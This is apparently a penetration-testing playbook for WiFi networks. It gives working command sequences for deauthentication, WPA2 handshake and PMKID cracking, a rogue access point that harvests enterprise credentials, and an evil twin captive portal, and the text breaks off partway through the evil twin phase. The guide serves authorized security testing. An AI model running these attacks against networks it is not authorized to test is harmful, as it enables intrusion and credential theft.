Performing Wireless Network Penetration Test

Overview

Wireless penetration testing evaluates the security of an organization's WiFi infrastructure including encryption strength, authentication mechanisms, rogue access point detection, client isolation, and network segmentation. Testing covers 802.11a/b/g/n/ac/ax protocols, WPA2-PSK, WPA2-Enterprise, WPA3-SAE, captive portals, and Bluetooth/BLE where in scope.

When to Use

• When conducting security assessments that involve performing wireless network penetration test
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Written authorization specifying wireless scope (SSIDs, BSSIDs, physical locations)
• Compatible wireless adapter supporting monitor mode and packet injection (e.g., Alfa AWUS036ACH, TP-Link TL-WN722N v1)
• Kali Linux with Aircrack-ng suite, Bettercap, Wifite, Kismet
• Physical proximity to target wireless networks
• GPS receiver for mapping (optional)

Phase 1 — Wireless Reconnaissance

Enable Monitor Mode

# Check wireless interfaces
iwconfig
airmon-ng

# Kill interfering processes
airmon-ng check kill

# Enable monitor mode
airmon-ng start wlan0
# Interface becomes wlan0mon

# Verify monitor mode
iwconfig wlan0mon

Passive Scanning

# Discover all networks in range
airodump-ng wlan0mon -w wireless_scan --output-format csv,pcap

# Filter by specific channel
airodump-ng wlan0mon -c 6 -w channel6_scan

# Scan 5GHz band
airodump-ng wlan0mon --band a -w 5ghz_scan

# Scan all bands
airodump-ng wlan0mon --band abg -w full_scan

# Kismet passive scanning (advanced)
kismet -c wlan0mon
# Access web UI at http://localhost:2501

Network Inventory

Phase 2 — WPA2-PSK Attack

Capture 4-Way Handshake

# Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon

# Deauthenticate a client to force reconnection (handshake capture)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon

# Verify handshake captured
aircrack-ng corpguest-01.cap
# Look for "1 handshake" in output

Crack WPA2 Key

# Dictionary attack with Aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt corpguest-01.cap

# GPU-accelerated cracking with Hashcat
# Convert cap to hccapx format
hcxpcapngtool -o hash.hc22000 corpguest-01.cap

# Hashcat mode 22000 (WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# PMKID attack (no client needed)
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt

Phase 3 — WPA2-Enterprise Attack

# Set up rogue AP with EAP credential harvesting
# Using hostapd-mana
cat > hostapd-mana.conf << 'EOF'
interface=wlan0mon
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
mana_wpe=1
mana_credout=creds.txt
EOF

# EAP user file
cat > hostapd.eap_user << 'EOF'
*   PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP "t" [2]
EOF

hostapd-mana hostapd-mana.conf

# Captured MSCHAP challenges can be cracked
# Crack NetNTLMv1 from EAP-MSCHAP
hashcat -m 5500 creds.txt /usr/share/wordlists/rockyou.txt

Phase 4 — Evil Twin Attack

# Create evil twin with Bettercap
sudo bettercap -iface wlan0mon

# Within Bettercap:
wifi.recon on
wifi.ap

# Or manual evil twin with hostapd + dnsmasq
cat > evil_twin.conf << 'EOF'
interface=wlan1
ssid=CorpGuest
hw_mode=g
channel=6
driver=nl80211
auth_algs=1
wpa=0
EOF

# Start captive portal
hostapd evil_twin.conf &
dnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \
  --address=/#/192.168.1.1


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